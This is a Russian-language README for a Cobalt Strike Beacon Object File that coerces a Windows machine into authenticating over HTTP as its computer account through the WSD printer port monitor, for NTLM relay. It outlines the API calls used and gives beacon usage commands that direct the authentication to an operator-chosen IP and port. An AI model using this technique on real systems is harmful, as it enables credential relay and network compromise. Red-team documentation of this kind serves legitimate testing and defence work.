IPP Coercion BOF

Beacon Object File (BOF), который заставляет Windows-машину аутентифицироваться по HTTP под своей учётной записью компьютера (HOSTNAME$), инициируя направленную IPP-ассоциацию через порт-монитор WSD. Эта техника позволяет операторам принуждать к аутентификации и ретранслировать аутентификацию учётной записи компьютера по HTTP.

Протестировано на Windows 11 26H2.

Как это работает

BOF был создан путём трассировки printui.exe во время добавления IPP-принтера и сведения к наблюдавшемуся набору вызовов API (с использованием Claude Opus 5.5, Frida и ETW). На высоком уровне этот BOF делает следующее:

1. Открывает дескриптор конфигурации порт-монитора WSD (OpenPrinterW(",XcvMonitor WSD Port"))
2. Вызывает AssocIppDirected с переданным URI (XcvDataW)
3. Заставляет спулер через RPC запустить DeviceAssociationService и выполнить исходящее подключение

Использование

Загрузите coerce-ipp.cna в Cobalt Strike.

beacon> coerce-ipp <ip> <port>
beacon> coerce-ipp 127.0.0.1 8082

Ссылки

• Microsoft Learn: MS-RPRN — спецификация AssocIppDirected (APMON XcvData)
• Microsoft Learn: Add-Printer — направленное обнаружение IPP